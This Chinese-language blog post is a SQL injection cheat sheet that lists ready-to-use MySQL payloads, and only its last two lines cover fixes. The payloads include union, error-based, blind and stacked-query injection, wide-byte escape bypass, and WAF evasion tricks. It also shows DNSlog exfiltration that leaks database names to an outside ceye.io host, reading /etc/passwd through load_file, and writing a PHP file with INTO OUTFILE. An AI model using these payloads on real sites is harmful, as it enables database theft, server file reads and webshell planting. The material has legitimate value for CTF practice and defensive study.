[Web安全]SQL注入总结
[SQL注入总结]
水一篇 我觉得最基础的吧 顺便自己再梳理一下
注入方式
-
union注入
1' or 1=1 order by xx# ' union select 1,database()# ' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()# 'union select 1,group_concat(column_name) from information_schema.columns where table_name = 'xxx'# 'union select 1,xxx from xxx# -
报错注入
floor() 1' or (select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)# updatexml() and 1=(updatexml(1,concat(0x3a,(select user())),1))# extractvalue() and extractvalue(1,concat(0x5c,(select user()))) exp() and exp(~(select * from(select user())a)) multipoint() and multipoint((select * from(select * from(select user())a)b)) geometrycollection() and geometrycollection((select * from(select * from(select user())a)b)) polygon() and polygon((select * from(select * from(select user())a)b)) multipolygon() and multipolygon((select * from(select * from(select user())a)b)) linestring() and linestring((select * from(select * from(select user())a)b)) multilinestring() and multilinestring((select * from(select * from(select user())a)b)) 'union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x version>5.0.12 select * from(select * from mysql.user ajoin mysql.user b)c //Join -
盲注
基于布尔: 构造等式或者不等式,网页返回情况有明显差异,通过这个差异写脚本,爆破 and ascii(substr((select database()),1,1))>64#判断database第一个字符的ascii值是否大于64 基于时间: 大多用于没有回显,构造的等式正确与否,返回值都没明显差异的情况。于是利用时间延迟的差异来判断是否正确 ' union select if(database()='pikachu',sleep(4),1),null#如果正确就会延迟4s -
堆叠注入
查询多个语句 使用分号隔开 1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);# 可以导致堆叠注入的函数 mysqli_multi_query函数,mysqli_multi_query函数可以执行多条SQL语句 -
二次注入
比如说,在存入数据库的时候做了过滤,但是取出来的时候没有做过滤,而产生的数据库注入 -
宽字节注入
输入 1' or 1=1#,防御启动把它变为 1\' or 1=1# 单引号被\过滤 payload无效 输入 1%df' or 1=1# 防御又启动把它变为 1%df\' or 1=1# GBK是多字节编码,他认为两个字节代表一个汉字 GBK开始编码 变为 1運' or 1=1# 此时单引号就逃出来了 所以说利用条件就是字符集 -
DNSlog注入
1.有些注入是没有回显的,使用脚本盲注,但很可能会被逮着ban ip,如果可以的话,使用DNSlog注入会好一点,而且挺快的 2.只用于windows系统,原理就是'\\\\'代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠 ' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0) -
读写文件
很多时候 花里胡哨的 能直接写shell 读flag不香吗 /滑稽。当然需要权限,路径(这个不一定哦) 1.load_file()读取文件 可以使用16进制 union select 1,load_file('/etc/passwd'),3,4,5#0x2f6574632f706173737764 union select 1,load_file(0x2f6574632f706173737764),3,4,5# 2.into outfile()写入文件 需要绝对路径 select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
语句位置
-
insert/update/insert
1.使用报错注入 #insert 原句 #假设a1可控 insert into user(x1,x2,x3) values('a1','a2',a3) 变为 insert into user(x1,x2,x3) values('a1' or updatexml(1,concat(0x3a,(select user())),1) or '','a2',a3) #update #这里这个方法和insert差不多的 UPDATE users SET password='Nicky' or updatexml(2,concat(0x7e,(version())),0) or''WHERE id=2 and username='Olivia'; #delete 原句 #假设 id 可控 delete xxx from users where id =1226 变为 delete xxx from users where id =1226 or updatexml (1,concat(0x7e,datebase()),0) #更多闭合变种 ' or (payload) or ' ' and (payload) and ' ' or (payload) and ' ' or (payload) and '=' '* (payload) *' ' or (payload) and ' " – (payload) – " 2.记得还有一种,而且确实也分环境,了解的师傅欢迎在评论下方告知。 -
order by
order by if(1=1,id,username); order by if(1=1,1,sleep(1)); order by rand(ascii(mid((select database()),1,1))>96) select * from ha order by updatexml(1,if(1=1,1,user()),1);#查询正常 select * from ha order by updatexml(1,if(1=2,1,user()),1);#查询报错 select * from ha order by extractvalue(1,if(1=1,1,user()));#查询正常 select * from ha order by extractvalue(1,if(1=2,1,user()));#查询报错
WAF绕过
-
WAF可能具有的部分漏洞
可以当作web的大门 对内网用户可能不设防 处理资源有限 某一块不常见的可能会不设防 协议 文件 参数 规则绕过 -
绕过类型
不同的写法,特性 编码 大小写 双写 -
绕过
Fuzz一遍,看看过滤了哪些字符,还剩哪些可以使用,会很方便 不同写法: 单引号绕过: () , 16进制 , 宽字节 , 堆叠 逗号绕过: join , from , offset 空格: /**/,/*!*/ , () 比较符: between 等号: like , rlike , regexp 关键字: 内联 , 大小写双写 , 编码 , 替换 编码: hex , ascii , url , unicode , 大小写,双写适用于: 比如正则把 @ 换成空(假如假如假如) 那么sel@ect = select
漏洞修复
1.过滤关键字符
2.使用PDO预编译语句
转载请注明原文链接
喜欢的话,留个赞再走吧

浙公网安备 33010602011771号